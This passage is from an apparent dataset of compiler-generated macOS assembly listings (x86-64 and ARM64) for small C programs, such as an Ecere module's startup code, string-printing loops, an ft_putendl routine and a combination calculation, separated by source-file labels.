movq %rcx, (%rax)
xorl %eax, %eax
movl %eax, %edi
leaq L_.str.77(%rip), %rsi
callq ___ecereNameSpace__ecere__LoadTranslatedStrings
movq ___currentModule(%rip), %rdi
leaq L_.str.78(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, -40(%rbp)
movq -40(%rbp), %rsi
leaq ___currentModule(%rip), %rdi
callq ___ecereNameSpace__ecere__com__eInstance_Evolve
movq ___currentModule(%rip), %rcx
movq ___thisModule@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movb $0, %al
callq ___ecereCreateModuleInstances_ecs
movq ___currentModule(%rip), %rax
movq (%rax), %rax
movq 96(%rax), %rax
movq ___currentModule(%rip), %rdi
callq *%rax
movb $0, %al
callq ___ecereDestroyModuleInstances_ecs
leaq L_.str.77(%rip), %rdi
callq ___ecereNameSpace__ecere__UnloadTranslatedStrings
movq ___currentModule(%rip), %rdi
leaq L_.str.2(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, -40(%rbp)
movq ___currentModule(%rip), %rax
movl 576(%rax), %eax
movl %eax, -20(%rbp)
movq ___currentModule(%rip), %rdi
callq ___ecereNameSpace__ecere__com__eInstance_DecRef
movq $0, ___currentModule(%rip)
movl -20(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___ecereRegisterModule_ecs_main ## -- Begin function __ecereRegisterModule_ecs_main
.p2align 4, 0x90
___ecereRegisterModule_ecs_main: ## @__ecereRegisterModule_ecs_main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl ___ecereUnregisterModule_ecs_main ## -- Begin function __ecereUnregisterModule_ecs_main
.p2align 4, 0x90
___ecereUnregisterModule_ecs_main: ## @__ecereUnregisterModule_ecs_main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,___currentModule,8,3 ## @__currentModule
.comm ___thisModule,8,3 ## @__thisModule
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ec"
L_.str.1: ## @.str.1
.asciz "ecere"
L_.str.2: ## @.str.2
.asciz "ecere::com::Application"
.comm ___ecereClass___ecereNameSpace__ecere__com__Application,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Application
L_.str.3: ## @.str.3
.asciz "ecere::com::Instance"
.comm ___ecereClass___ecereNameSpace__ecere__com__Instance,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Instance
L_.str.4: ## @.str.4
.asciz "ecere::com::Module"
.comm ___ecereClass___ecereNameSpace__ecere__com__Module,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Module
L_.str.5: ## @.str.5
.asciz "Attrib"
.comm ___ecereClass_Attrib,8,3 ## @__ecereClass_Attrib
L_.str.6: ## @.str.6
.asciz "ClassDefinition"
.comm ___ecereClass_ClassDefinition,8,3 ## @__ecereClass_ClassDefinition
L_.str.7: ## @.str.7
.asciz "ClassImport"
.comm ___ecereClass_ClassImport,8,3 ## @__ecereClass_ClassImport
L_.str.8: ## @.str.8
.asciz "CodePosition"
.comm ___ecereClass_CodePosition,8,3 ## @__ecereClass_CodePosition
L_.str.9: ## @.str.9
.asciz "Context"
.comm ___ecereClass_Context,8,3 ## @__ecereClass_Context
L_.str.10: ## @.str.10
.asciz "ContextStringPair"
.comm ___ecereClass_ContextStringPair,8,3 ## @__ecereClass_ContextStringPair
L_.str.11: ## @.str.11
.asciz "DBTableDef"
.comm ___ecereClass_DBTableDef,8,3 ## @__ecereClass_DBTableDef
L_.str.12: ## @.str.12
.asciz "Declaration"
.comm ___ecereClass_Declaration,8,3 ## @__ecereClass_Declaration
L_.str.13: ## @.str.13
.asciz "Declarator"
.comm ___ecereClass_Declarator,8,3 ## @__ecereClass_Declarator
L_.str.14: ## @.str.14
.asciz "Definition"
.comm ___ecereClass_Definition,8,3 ## @__ecereClass_Definition
L_.str.15: ## @.str.15
.asciz "Expression"
.comm ___ecereClass_Expression,8,3 ## @__ecereClass_Expression
L_.str.16: ## @.str.16
.asciz "ExtDecl"
.comm ___ecereClass_ExtDecl,8,3 ## @__ecereClass_ExtDecl
L_.str.17: ## @.str.17
.asciz "External"
.comm ___ecereClass_External,8,3 ## @__ecereClass_External
L_.str.18: ## @.str.18
.asciz "FunctionDefinition"
.comm ___ecereClass_FunctionDefinition,8,3 ## @__ecereClass_FunctionDefinition
L_.str.19: ## @.str.19
.asciz "FunctionImport"
.comm ___ecereClass_FunctionImport,8,3 ## @__ecereClass_FunctionImport
L_.str.20: ## @.str.20
.asciz "Identifier"
.comm ___ecereClass_Identifier,8,3 ## @__ecereClass_Identifier
L_.str.21: ## @.str.21
.asciz "ImportedModule"
.comm ___ecereClass_ImportedModule,8,3 ## @__ecereClass_ImportedModule
L_.str.22: ## @.str.22
.asciz "Initializer"
.comm ___ecereClass_Initializer,8,3 ## @__ecereClass_Initializer
L_.str.23: ## @.str.23
.asciz "Instantiation"
.comm ___ecereClass_Instantiation,8,3 ## @__ecereClass_Instantiation
L_.str.24: ## @.str.24
.asciz "Location"
.comm ___ecereClass_Location,8,3 ## @__ecereClass_Location
L_.str.25: ## @.str.25
.asciz "MethodImport"
.comm ___ecereClass_MethodImport,8,3 ## @__ecereClass_MethodImport
L_.str.26: ## @.str.26
.asciz "ModuleImport"
.comm ___ecereClass_ModuleImport,8,3 ## @__ecereClass_ModuleImport
L_.str.27: ## @.str.27
.asciz "PropertyImport"
.comm ___ecereClass_PropertyImport,8,3 ## @__ecereClass_PropertyImport
L_.str.28: ## @.str.28
.asciz "Specifier"
.comm ___ecereClass_Specifier,8,3 ## @__ecereClass_Specifier
L_.str.29: ## @.str.29
.asciz "Statement"
.comm ___ecereClass_Statement,8,3 ## @__ecereClass_Statement
L_.str.30: ## @.str.30
.asciz "Symbol"
.comm ___ecereClass_Symbol,8,3 ## @__ecereClass_Symbol
L_.str.31: ## @.str.31
.asciz "TemplateArgument"
.comm ___ecereClass_TemplateArgument,8,3 ## @__ecereClass_TemplateArgument
L_.str.32: ## @.str.32
.asciz "TemplateDatatype"
.comm ___ecereClass_TemplateDatatype,8,3 ## @__ecereClass_TemplateDatatype
L_.str.33: ## @.str.33
.asciz "TemplateParameter"
.comm ___ecereClass_TemplateParameter,8,3 ## @__ecereClass_TemplateParameter
L_.str.34: ## @.str.34
.asciz "Type"
.comm ___ecereClass_Type,8,3 ## @__ecereClass_Type
L_.str.35: ## @.str.35
.asciz "TypeName"
.comm ___ecereClass_TypeName,8,3 ## @__ecereClass_TypeName
L_.str.36: ## @.str.36
.asciz "ecere::com::BTNamedLink"
.comm ___ecereClass___ecereNameSpace__ecere__com__BTNamedLink,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__BTNamedLink
L_.str.37: ## @.str.37
.asciz "ecere::com::Class"
.comm ___ecereClass___ecereNameSpace__ecere__com__Class,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Class
L_.str.38: ## @.str.38
.asciz "ecere::com::ClassTemplateArgument"
.comm ___ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument
L_.str.39: ## @.str.39
.asciz "ecere::com::Container"
L_.str.40: ## @.str.40
.asciz "Add"
.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Add,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__com__Container_Add
L_.str.41: ## @.str.41
.asciz "Free"
.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Free,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__com__Container_Free
L_.str.42: ## @.str.42
.asciz "RemoveAll"
.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll
L_.str.43: ## @.str.43
.asciz "ecere::com::CustomAVLTree"
.comm ___ecereClass___ecereNameSpace__ecere__com__CustomAVLTree,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__CustomAVLTree
L_.str.44: ## @.str.44
.asciz "ecere::com::DataMember"
.comm ___ecereClass___ecereNameSpace__ecere__com__DataMember,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__DataMember
L_.str.45: ## @.str.45
.asciz "ecere::com::DataValue"
.comm ___ecereClass___ecereNameSpace__ecere__com__DataValue,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__DataValue
L_.str.46: ## @.str.46
.asciz "ecere::com::GlobalFunction"
.comm ___ecereClass___ecereNameSpace__ecere__com__GlobalFunction,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__GlobalFunction
L_.str.47: ## @.str.47
.asciz "ecere::com::Iterator"
.comm ___ecereClass___ecereNameSpace__ecere__com__Iterator,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Iterator
L_.str.48: ## @.str.48
.asciz "data"
.comm ___ecereProp___ecereNameSpace__ecere__com__Iterator_data,8,3 ## @__ecereProp___ecereNameSpace__ecere__com__Iterator_data
L_.str.49: ## @.str.49
.asciz "ecere::com::IteratorPointer"
.comm ___ecereClass___ecereNameSpace__ecere__com__IteratorPointer,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__IteratorPointer
L_.str.50: ## @.str.50
.asciz "ecere::com::List"
.comm ___ecereClass___ecereNameSpace__ecere__com__List,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__List
L_.str.51: ## @.str.51
.asciz "ecere::com::List<String>"
.comm ___ecereClass___ecereNameSpace__ecere__com__List_TPL_String_,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__List_TPL_String_
L_.str.52: ## @.str.52
.asciz "ecere::com::Map"
.comm ___ecereClass___ecereNameSpace__ecere__com__Map,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Map
L_.str.53: ## @.str.53
.asciz "ecere::com::Map<ContextStringPair, ecere::com::List<String> >"
.comm ___ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___
L_.str.54: ## @.str.54
.asciz "ecere::com::MapIterator"
.comm ___ecereClass___ecereNameSpace__ecere__com__MapIterator,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__MapIterator
L_.str.55: ## @.str.55
.asciz "key"
.comm ___ecereProp___ecereNameSpace__ecere__com__MapIterator_key,8,3 ## @__ecereProp___ecereNameSpace__ecere__com__MapIterator_key
L_.str.56: ## @.str.56
.asciz "map"
.comm ___ecereProp___ecereNameSpace__ecere__com__MapIterator_map,8,3 ## @__ecereProp___ecereNameSpace__ecere__com__MapIterator_map
L_.str.57: ## @.str.57
.asciz "ecere::com::Method"
.comm ___ecereClass___ecereNameSpace__ecere__com__Method,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Method
L_.str.58: ## @.str.58
.asciz "ecere::com::NameSpace"
.comm ___ecereClass___ecereNameSpace__ecere__com__NameSpace,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__NameSpace
L_.str.59: ## @.str.59
.asciz "ecere::com::Platform"
L_.str.60: ## @.str.60
.asciz "char *"
.comm ___ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_,8,3 ## @__ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_
L_.str.61: ## @.str.61
.asciz "ecere::com::Property"
.comm ___ecereClass___ecereNameSpace__ecere__com__Property,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__Property
L_.str.62: ## @.str.62
.asciz "ecere::com::SerialBuffer"
.comm ___ecereClass___ecereNameSpace__ecere__com__SerialBuffer,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__SerialBuffer
L_.str.63: ## @.str.63
.asciz "ecere::com::SubModule"
.comm ___ecereClass___ecereNameSpace__ecere__com__SubModule,8,3 ## @__ecereClass___ecereNameSpace__ecere__com__SubModule
L_.str.64: ## @.str.64
.asciz "ecere::sys::BTNode"
.comm ___ecereClass___ecereNameSpace__ecere__sys__BTNode,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__BTNode
L_.str.65: ## @.str.65
.asciz "next"
.comm ___ecereProp___ecereNameSpace__ecere__sys__BTNode_next,8,3 ## @__ecereProp___ecereNameSpace__ecere__sys__BTNode_next
L_.str.66: ## @.str.66
.asciz "ecere::sys::BinaryTree"
.comm ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__BinaryTree
L_.str.67: ## @.str.67
.asciz "first"
.comm ___ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first,8,3 ## @__ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first
L_.str.68: ## @.str.68
.asciz "ecere::sys::File"
.comm ___ecereClass___ecereNameSpace__ecere__sys__File,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__File
L_.str.69: ## @.str.69
.asciz "Eof"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof
L_.str.70: ## @.str.70
.asciz "Puts"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts
L_.str.71: ## @.str.71
.asciz "Read"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Read,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Read
L_.str.72: ## @.str.72
.asciz "Seek"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek
L_.str.73: ## @.str.73
.asciz "Write"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Write,4,2 ## @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Write
L_.str.74: ## @.str.74
.asciz "ecere::sys::OldLink"
.comm ___ecereClass___ecereNameSpace__ecere__sys__OldLink,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__OldLink
L_.str.75: ## @.str.75
.asciz "ecere::sys::OldList"
.comm ___ecereClass___ecereNameSpace__ecere__sys__OldList,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__OldList
L_.str.76: ## @.str.76
.asciz "ecere::sys::TempFile"
.comm ___ecereClass___ecereNameSpace__ecere__sys__TempFile,8,3 ## @__ecereClass___ecereNameSpace__ecere__sys__TempFile
L_.str.77: ## @.str.77
.asciz "ecs"
L_.str.78: ## @.str.78
.asciz "SymbolgenApp"
.subsections_via_symbols
| the_stack_data/354844.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-36]
mov x9, sp
sub x8, x29, #40
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_5 Depth 3
ldur w8, [x29, #-40]
subs w9, w8, #1
stur w9, [x29, #-40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
sub x8, x29, #44
str x8, [x9]
sub x8, x29, #29
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
str wzr, [sp, #48]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_5 Depth 3
ldrsw x8, [sp, #48]
str x8, [sp, #32] ; 8-byte Folded Spill
sub x0, x29, #29
bl _strlen
ldr x8, [sp, #32] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB0_10
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
str wzr, [sp, #44]
b LBB0_5
LBB0_5: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_3 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #44]
ldur w9, [x29, #-44]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=3
ldrsw x9, [sp, #48]
sub x8, x29, #29
ldrsb w0, [x8, x9]
bl _putchar
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=3
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB0_5
LBB0_8: ; in Loop: Header=BB0_3 Depth=2
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #48]
add w8, w8, #1
str w8, [sp, #48]
b LBB0_3
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
mov w0, #10
bl _putchar
b LBB0_1
LBB0_11:
ldur w8, [x29, #-36]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
bl ___stack_chk_fail
LBB0_13:
ldr w0, [sp, #28] ; 4-byte Folded Reload
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d %s"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -36(%rbp)
leaq L_.str(%rip), %rdi
leaq -40(%rbp), %rsi
movb $0, %al
callq _scanf
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_5 Depth 3
movl -40(%rbp), %eax
movl %eax, %ecx
addl $-1, %ecx
movl %ecx, -40(%rbp)
cmpl $0, %eax
je LBB0_11
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq -32(%rbp), %rdx
leaq L_.str.1(%rip), %rdi
leaq -44(%rbp), %rsi
movb $0, %al
callq _scanf
movl $0, -48(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_5 Depth 3
movslq -48(%rbp), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
leaq -32(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -64(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB0_10
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl $0, -52(%rbp)
LBB0_5: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_3 Depth=2
## => This Inner Loop Header: Depth=3
movl -52(%rbp), %eax
cmpl -44(%rbp), %eax
jge LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=3
movslq -48(%rbp), %rax
movsbl -32(%rbp,%rax), %edi
callq _putchar
## %bb.7: ## in Loop: Header=BB0_5 Depth=3
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB0_5
LBB0_8: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_3 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB0_3
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movl $10, %edi
callq _putchar
jmp LBB0_1
LBB0_11:
movl -36(%rbp), %eax
movl %eax, -68(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_13
## %bb.12:
movl -68(%rbp), %eax ## 4-byte Reload
addq $80, %rsp
popq %rbp
retq
LBB0_13:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d %s"
.subsections_via_symbols
| the_stack_data/179831728.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_putendl ; -- Begin function ft_putendl
.p2align 2
_ft_putendl: ; @ft_putendl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
b LBB0_9
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr x1, [sp, #8]
mov w0, #1
mov x2, #1
bl _write
subs x8, x0, #0
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
b LBB0_9
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB0_3
LBB0_7:
mov w0, #1
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov x2, #1
bl _write
subs x8, x0, #0
cset w8, ge
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
b LBB0_9
LBB0_9:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_putendl ## -- Begin function ft_putendl
.p2align 4, 0x90
_ft_putendl: ## @ft_putendl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
jne LBB0_2
## %bb.1:
jmp LBB0_9
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
cmpb $0, (%rax)
je LBB0_7
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -8(%rbp), %rsi
movl $1, %edi
movl $1, %edx
callq _write
cmpq $0, %rax
jge LBB0_6
## %bb.5:
jmp LBB0_9
LBB0_6: ## in Loop: Header=BB0_3 Depth=1
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
jmp LBB0_3
LBB0_7:
movl $1, %edi
leaq L_.str(%rip), %rsi
movl $1, %edx
callq _write
cmpq $0, %rax
jge LBB0_9
## %bb.8:
jmp LBB0_9
LBB0_9:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n"
.subsections_via_symbols
| the_stack_data/220454682.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w8, #1
str w8, [sp, #16] ; 4-byte Folded Spill
stur w8, [x29, #-16]
stur w8, [x29, #-20]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
sub x8, x29, #12
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w8, [sp, #16] ; 4-byte Folded Reload
str w8, [sp, #24]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
ldur w9, [x29, #-8]
mul w8, w8, w9
stur w8, [x29, #-16]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
ldur w8, [x29, #-8]
subs w8, w8, #1
stur w8, [x29, #-8]
b LBB0_1
LBB0_4:
mov w8, #1
str w8, [sp, #20]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldr w9, [sp, #20]
ldur w8, [x29, #-20]
mul w8, w8, w9
stur w8, [x29, #-20]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_5
LBB0_8:
ldur w8, [x29, #-16]
ldur w9, [x29, #-20]
sdiv w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d %d"
l_.str.1: ; @.str.1
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $1, -16(%rbp)
movl $1, -20(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
leaq -12(%rbp), %rdx
movb $0, %al
callq _scanf
movl $1, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -24(%rbp), %eax
cmpl -12(%rbp), %eax
jg LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
imull -8(%rbp), %eax
movl %eax, -16(%rbp)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl -8(%rbp), %eax
subl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_4:
movl $1, -28(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -12(%rbp), %eax
jg LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl -28(%rbp), %eax
imull -20(%rbp), %eax
movl %eax, -20(%rbp)
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_5
LBB0_8:
movl -16(%rbp), %eax
cltd
idivl -20(%rbp)
movl %eax, %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d %d"
L_.str.1: ## @.str.1
.asciz "%d"
.subsections_via_symbols
| the_stack_data/43887602.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f ; -- Begin function f
.p2align 2
_f: ; @f
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #1000
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl _abort
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
